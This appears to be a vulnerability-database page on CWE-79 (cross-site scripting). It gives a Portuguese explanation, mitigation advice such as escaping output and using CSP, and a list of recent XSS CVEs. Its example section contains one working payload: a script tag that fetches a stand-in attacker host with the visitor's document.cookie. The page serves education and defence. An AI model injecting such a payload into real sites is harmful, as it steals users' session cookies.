Fallos del tipo CWE-79

30.630 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-27068HIGHWordPress Website LLMs.txt plugin <= 8.2.6 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2019-25368MEDIUMOPNsense 19.1 Reflected XSS via diag_backup.phpEPSS 0.2%CVE-2026-27070HIGHWordPress Everest Forms Pro plugin <= 1.9.10 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-17739MEDIUMInsufficient policy enforcement in Extensions in Google Chrome prior to 151.0.7922.72 allowed an attacker who convinced a user to install a EPSS 0.1%CVE-2026-33404LOWPi-hole has a Stored XSS / HTML injection in the Network page/DashboardEPSS 0.1%CVE-2026-84463MEDIUMZammad: Stored HTML injection in Knowledge Base video widget enables forced session switching via unescaped iframe attributeEPSS 0.1%CVE-2026-107308LOWCountry - Moderately critical - Cross-site scripting - SA-CONTRIB-2026-211EPSS 0.1%CVE-2026-33276HIGHXSS in Unified Search via Unescaped Host/Service NamesEPSS 0.1%CVE-2026-59188MEDIUMPart-DB: SVG Sanitization Bypass via Extension Spoofing Leads to Stored XSS in Attachment ViewerEPSS 0.1%CVE-2026-115554MEDIUMTivoli Netcool/OMNIbus Web GUI is vulnerable to stored cross-site scriptingEPSS 0.1%CVE-2026-8139LOWConcrete CMS 9.5.0 and below is vulnerable to Stored XSS via external-link page cvNameEPSS 0.1%CVE-2026-45560MEDIUMRoxy-WI: Stored XSS in log viewer (wrap_line/highlight_word produce unescaped HTML)EPSS 0.1%CVE-2026-101111MEDIUMJoomla Extension - ordasoft.com - Reflected Cross-Site Scripting in Book Library (Free) < 6.4.6EPSS 0.1%CVE-2026-48905MEDIUMJoomla! Framework - [20260520] - Inadequate content filtering within the cleanAttributes filter code.EPSS 0.1%CVE-2026-12425MEDIUMReflected / DOM cross-site scripting (XSS) in PowerSchool ERP / Employee Access Center 23.10EPSS 0.1%CVE-2026-17189HIGHSecurity vulnerabilities have been found in IBM Verify Identity Access and IBM Security Verify AccessEPSS 0.1%CVE-2026-35212MEDIUMOpenCTI has XSS in the rendering of email-message observable body dataEPSS 0.1%CVE-2026-38669MEDIUMwCMS v.1.4 is vulnerable to Cross Site Scripting (XSS) when creating a new blog.EPSS 0.1%CVE-2026-49294MEDIUMValhalla has reflected XSS via unsanitized JSONP callback parameterEPSS 0.1%CVE-2026-101109MEDIUMJoomla Extension - ordasoft.com - Reflected Cross-Site Scripting in Vehicle Manager (Free) < 6.5.8EPSS 0.1%